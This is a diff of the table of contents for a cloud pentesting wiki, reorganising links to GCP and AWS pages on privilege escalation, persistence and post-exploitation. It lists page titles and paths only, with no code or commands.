- [Cloudflare Security](pentesting-ci-cd/cloudflare-security/README.md)
|
||||
- [Cloudflare Domains](pentesting-ci-cd/cloudflare-security/cloudflare-domains.md)
|
||||
- [Cloudflare Workers Pass Through Proxy Ip Rotation](pentesting-ci-cd/cloudflare-security/cloudflare-workers-pass-through-proxy-ip-rotation.md)
|
||||
- [Cloudflare Zero Trust Network](pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md)
|
||||
- [Okta Security](pentesting-ci-cd/okta-security/README.md)
|
||||
- [Okta Hardening](pentesting-ci-cd/okta-security/okta-hardening.md)
|
||||
@@ -57,7 +55,6 @@
|
||||
# ⛈️ Pentesting Cloud
|
||||
|
||||
- [Pentesting Cloud Methodology](pentesting-cloud/pentesting-cloud-methodology.md)
|
||||
- [Luks2 Header Malleability Null Cipher Abuse](pentesting-cloud/confidential-computing/luks2-header-malleability-null-cipher-abuse.md)
|
||||
- [Kubernetes Pentesting](pentesting-cloud/kubernetes-security/README.md)
|
||||
- [Kubernetes Basics](pentesting-cloud/kubernetes-security/kubernetes-basics.md)
|
||||
- [Pentesting Kubernetes Services](pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md)
|
||||
@@ -87,7 +84,6 @@
|
||||
- [GCP - Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/README.md)
|
||||
- [GCP - App Engine Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-engine-post-exploitation.md)
|
||||
- [GCP - Artifact Registry Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-artifact-registry-post-exploitation.md)
|
||||
- [GCP - Bigtable Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-bigtable-post-exploitation.md)
|
||||
- [GCP - Cloud Build Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-build-post-exploitation.md)
|
||||
- [GCP - Cloud Functions Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-functions-post-exploitation.md)
|
||||
- [GCP - Cloud Run Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-run-post-exploitation.md)
|
||||
@@ -102,6 +98,7 @@
|
||||
- [GCP - Pub/Sub Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md)
|
||||
- [GCP - Secretmanager Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md)
|
||||
- [GCP - Security Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-security-post-exploitation.md)
|
||||
- [Gcp Vertex Ai Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md)
|
||||
- [GCP - Workflows Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-workflows-post-exploitation.md)
|
||||
- [GCP - Storage Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md)
|
||||
- [GCP - Privilege Escalation](pentesting-cloud/gcp-security/gcp-privilege-escalation/README.md)
|
||||
@@ -110,7 +107,6 @@
|
||||
- [GCP - Artifact Registry Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-artifact-registry-privesc.md)
|
||||
- [GCP - Batch Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-batch-privesc.md)
|
||||
- [GCP - BigQuery Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md)
|
||||
- [GCP - Bigtable Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md)
|
||||
- [GCP - ClientAuthConfig Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-clientauthconfig-privesc.md)
|
||||
- [GCP - Cloudbuild Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md)
|
||||
- [GCP - Cloudfunctions Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md)
|
||||
@@ -125,7 +121,6 @@
|
||||
- [GCP - Deploymentmaneger Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-deploymentmaneger-privesc.md)
|
||||
- [GCP - IAM Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md)
|
||||
- [GCP - KMS Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md)
|
||||
- [GCP - Firebase Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-privesc.md)
|
||||
- [GCP - Orgpolicy Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-orgpolicy-privesc.md)
|
||||
- [GCP - Pubsub Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-pubsub-privesc.md)
|
||||
- [GCP - Resourcemanager Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-resourcemanager-privesc.md)
|
||||
@@ -134,7 +129,6 @@
|
||||
- [GCP - Serviceusage Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-serviceusage-privesc.md)
|
||||
- [GCP - Sourcerepos Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-sourcerepos-privesc.md)
|
||||
- [GCP - Storage Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md)
|
||||
- [GCP - Vertex AI Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md)
|
||||
- [GCP - Workflows Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md)
|
||||
- [GCP - Generic Permissions Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-misc-perms-privesc.md)
|
||||
- [GCP - Network Docker Escape](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-docker-escape.md)
|
||||
@@ -144,7 +138,6 @@
|
||||
- [GCP - App Engine Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-app-engine-persistence.md)
|
||||
- [GCP - Artifact Registry Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-artifact-registry-persistence.md)
|
||||
- [GCP - BigQuery Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-bigquery-persistence.md)
|
||||
- [GCP - Bigtable Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-bigtable-persistence.md)
|
||||
- [GCP - Cloud Functions Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-functions-persistence.md)
|
||||
- [GCP - Cloud Run Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-run-persistence.md)
|
||||
- [GCP - Cloud Shell Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-shell-persistence.md)
|
||||
@@ -192,7 +185,6 @@
|
||||
- [GCP - Spanner Enum](pentesting-cloud/gcp-security/gcp-services/gcp-spanner-enum.md)
|
||||
- [GCP - Stackdriver Enum](pentesting-cloud/gcp-security/gcp-services/gcp-stackdriver-enum.md)
|
||||
- [GCP - Storage Enum](pentesting-cloud/gcp-security/gcp-services/gcp-storage-enum.md)
|
||||
- [GCP - Vertex AI Enum](pentesting-cloud/gcp-security/gcp-services/gcp-vertex-ai-enum.md)
|
||||
- [GCP - Workflows Enum](pentesting-cloud/gcp-security/gcp-services/gcp-workflows-enum.md)
|
||||
- [GCP <--> Workspace Pivoting](pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md)
|
||||
- [GCP - Understanding Domain-Wide Delegation](pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-understanding-domain-wide-delegation.md)
|
||||
@@ -224,139 +216,109 @@
|
||||
- [AWS - Federation Abuse](pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md)
|
||||
- [AWS - Permissions for a Pentest](pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md)
|
||||
- [AWS - Persistence](pentesting-cloud/aws-security/aws-persistence/README.md)
|
||||
- [AWS - API Gateway Persistence](pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence/README.md)
|
||||
- [AWS - Cloudformation Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence/README.md)
|
||||
- [AWS - Cognito Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence/README.md)
|
||||
- [AWS - DynamoDB Persistence](pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence/README.md)
|
||||
- [AWS - EC2 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence/README.md)
|
||||
- [AWS - EC2 ReplaceRootVolume Task (Stealth Backdoor / Persistence)](pentesting-cloud/aws-security/aws-persistence/aws-ec2-replace-root-volume-persistence/README.md)
|
||||
- [AWS - ECR Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence/README.md)
|
||||
- [AWS - ECS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence/README.md)
|
||||
- [AWS - Elastic Beanstalk Persistence](pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence/README.md)
|
||||
- [AWS - EFS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence/README.md)
|
||||
- [AWS - IAM Persistence](pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence/README.md)
|
||||
- [AWS - KMS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence/README.md)
|
||||
- [AWS - API Gateway Persistence](pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md)
|
||||
- [AWS - Cloudformation Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md)
|
||||
- [AWS - Cognito Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md)
|
||||
- [AWS - DynamoDB Persistence](pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md)
|
||||
- [AWS - EC2 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md)
|
||||
- [AWS - ECR Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md)
|
||||
- [AWS - ECS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md)
|
||||
- [AWS - Elastic Beanstalk Persistence](pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md)
|
||||
- [AWS - EFS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md)
|
||||
- [AWS - IAM Persistence](pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md)
|
||||
- [AWS - KMS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md)
|
||||
- [AWS - Lambda Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md)
|
||||
- [AWS - Abusing Lambda Extensions](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md)
|
||||
- [AWS - Lambda Alias Version Policy Backdoor](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-alias-version-policy-backdoor.md)
|
||||
- [AWS - Lambda Async Self Loop Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-async-self-loop-persistence.md)
|
||||
- [AWS - Lambda Layers Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md)
|
||||
- [AWS - Lambda Exec Wrapper Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-exec-wrapper-persistence.md)
|
||||
- [AWS - Lightsail Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md)
|
||||
- [AWS - RDS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence/README.md)
|
||||
- [AWS - S3 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence/README.md)
|
||||
- [Aws Sagemaker Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md)
|
||||
- [AWS - SNS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence/README.md)
|
||||
- [AWS - Secrets Manager Persistence](pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md)
|
||||
- [AWS - SQS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/README.md)
|
||||
- [AWS - SQS DLQ Backdoor Persistence via RedrivePolicy/RedriveAllowPolicy](pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md)
|
||||
- [AWS - SQS OrgID Policy Backdoor](pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-orgid-policy-backdoor.md)
|
||||
- [AWS - SSM Perssitence](pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md)
|
||||
- [AWS - Step Functions Persistence](pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence/README.md)
|
||||
- [AWS - STS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence/README.md)
|
||||
- [AWS - Lightsail Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md)
|
||||
- [AWS - RDS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md)
|
||||
- [AWS - S3 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md)
|
||||
- [Aws Sagemaker Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md)
|
||||
- [AWS - SNS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md)
|
||||
- [AWS - Secrets Manager Persistence](pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md)
|
||||
- [AWS - SQS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md)
|
||||
- [AWS - SSM Perssitence](pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence.md)
|
||||
- [AWS - Step Functions Persistence](pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md)
|
||||
- [AWS - STS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md)
|
||||
- [AWS - Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/README.md)
|
||||
- [AWS - API Gateway Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md)
|
||||
- [AWS - Bedrock Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-bedrock-post-exploitation/README.md)
|
||||
- [AWS - CloudFront Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md)
|
||||
- [AWS - API Gateway Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md)
|
||||
- [AWS - CloudFront Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md)
|
||||
- [AWS - CodeBuild Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md)
|
||||
- [AWS Codebuild - Token Leakage](pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md)
|
||||
- [AWS - Control Tower Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation/README.md)
|
||||
- [AWS - DLM Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation/README.md)
|
||||
- [AWS - DynamoDB Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md)
|
||||
- [AWS - Control Tower Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md)
|
||||
- [AWS - DLM Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md)
|
||||
- [AWS - DynamoDB Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md)
|
||||
- [AWS - EC2, EBS, SSM & VPC Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md)
|
||||
- [AWS - EBS Snapshot Dump](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md)
|
||||
- [AWS – Covert Disk Exfiltration via AMI Store-to-S3 (CreateStoreImageTask)](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ami-store-s3-exfiltration.md)
|
||||
- [AWS - Live Data Theft via EBS Multi-Attach](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-multi-attach-data-theft.md)
|
||||
- [AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md)
|
||||
- [AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eni-secondary-ip-hijack.md)
|
||||
- [AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eip-hijack-impersonation.md)
|
||||
- [AWS - Security Group Backdoor via Managed Prefix Lists](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-managed-prefix-list-backdoor.md)
|
||||
- [AWS – Egress Bypass from Isolated Subnets via VPC Endpoints](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-endpoint-egress-bypass.md)
|
||||
- [AWS - VPC Flow Logs Cross-Account Exfiltration to S3](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-flow-logs-cross-account-exfiltration.md)
|
||||
- [AWS - Malicious VPC Mirror](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md)
|
||||
- [AWS - ECR Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md)
|
||||
- [AWS - ECS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md)
|
||||
- [AWS - EFS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md)
|
||||
- [AWS - EKS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md)
|
||||
- [AWS - Elastic Beanstalk Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md)
|
||||
- [AWS - IAM Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md)
|
||||
- [AWS - KMS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md)
|
||||
- [AWS - ECR Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md)
|
||||
- [AWS - ECS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md)
|
||||
- [AWS - EFS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md)
|
||||
- [AWS - EKS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md)
|
||||
- [AWS - Elastic Beanstalk Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md)
|
||||
- [AWS - IAM Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md)
|
||||
- [AWS - KMS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md)
|
||||
- [AWS - Lambda Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md)
|
||||
- [AWS - Lambda EFS Mount Injection](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-efs-mount-injection.md)
|
||||
- [AWS - Lambda Event Source Mapping Hijack](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-event-source-mapping-hijack.md)
|
||||
- [AWS - Lambda Function URL Public Exposure](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-function-url-public-exposure.md)
|
||||
- [AWS - Lambda LoggingConfig Redirection](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-loggingconfig-redirection.md)
|
||||
- [AWS - Lambda Runtime Pinning Abuse](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-runtime-pinning-abuse.md)
|
||||
- [AWS - Lambda Steal Requests](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md)
|
||||
- [AWS - Lambda VPC Egress Bypass](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-vpc-egress-bypass.md)
|
||||
- [AWS - Lightsail Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md)
|
||||
- [AWS - MWAA Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-mwaa-post-exploitation/README.md)
|
||||
- [AWS - Organizations Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation/README.md)
|
||||
- [AWS - RDS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md)
|
||||
- [AWS - SageMaker Post-Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md)
|
||||
- [Feature Store Poisoning](pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md)
|
||||
- [AWS - S3 Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md)
|
||||
- [AWS - Secrets Manager Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md)
|
||||
- [AWS - SES Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md)
|
||||
- [AWS - SNS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md)
|
||||
- [AWS - SNS Message Data Protection Bypass via Policy Downgrade](pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-data-protection-bypass.md)
|
||||
- [SNS FIFO Archive Replay Exfiltration via Attacker SQS FIFO Subscription](pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-fifo-replay-exfil.md)
|
||||
- [AWS - SNS to Kinesis Firehose Exfiltration (Fanout to S3)](pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md)
|
||||
- [AWS - SQS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md)
|
||||
- [AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask](pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md)
|
||||
- [AWS – SQS Cross-/Same-Account Injection via SNS Subscription + Queue Policy](pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-sns-injection.md)
|
||||
- [AWS - SSO & identitystore Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md)
|
||||
- [AWS - Step Functions Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md)
|
||||
- [AWS - STS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation/README.md)
|
||||
- [AWS - VPN Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md)
|
||||
- [AWS - Steal Lambda Requests](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md)
|
||||
- [AWS - Lightsail Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md)
|
||||
- [AWS - Organizations Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md)
|
||||
- [AWS - RDS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md)
|
||||
- [AWS - S3 Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md)
|
||||
- [AWS - Secrets Manager Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md)
|
||||
- [AWS - SES Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md)
|
||||
- [AWS - SNS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md)
|
||||
- [AWS - SQS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md)
|
||||
- [AWS - SSO & identitystore Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md)
|
||||
- [AWS - Step Functions Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md)
|
||||
- [AWS - STS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md)
|
||||
- [AWS - VPN Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md)
|
||||
- [AWS - Privilege Escalation](pentesting-cloud/aws-security/aws-privilege-escalation/README.md)
|
||||
- [AWS - Apigateway Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md)
|
||||
- [AWS - AppRunner Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md)
|
||||
- [AWS - Chime Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md)
|
||||
- [AWS - CloudFront](pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudfront-privesc/README.md)
|
||||
- [AWS - Codebuild Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md)
|
||||
- [AWS - Codepipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md)
|
||||
- [AWS - Apigateway Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md)
|
||||
- [AWS - AppRunner Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md)
|
||||
- [AWS - Chime Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md)
|
||||
- [AWS - Codebuild Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md)
|
||||
- [AWS - Codepipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md)
|
||||
- [AWS - Codestar Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md)
|
||||
- [codestar:CreateProject, codestar:AssociateTeamMember](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md)
|
||||
- [iam:PassRole, codestar:CreateProject](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md)
|
||||
- [AWS - Cloudformation Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md)
|
||||
- [iam:PassRole, cloudformation:CreateStack,and cloudformation:DescribeStacks](pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md)
|
||||
- [AWS - Cognito Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md)
|
||||
- [AWS - Datapipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc/README.md)
|
||||
- [AWS - Directory Services Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc/README.md)
|
||||
- [AWS - DynamoDB Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md)
|
||||
- [AWS - EBS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc/README.md)
|
||||
- [AWS - EC2 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md)
|
||||
- [AWS - ECR Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md)
|
||||
- [AWS - ECS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md)
|
||||
- [AWS - EFS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md)
|
||||
- [AWS - Elastic Beanstalk Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md)
|
||||
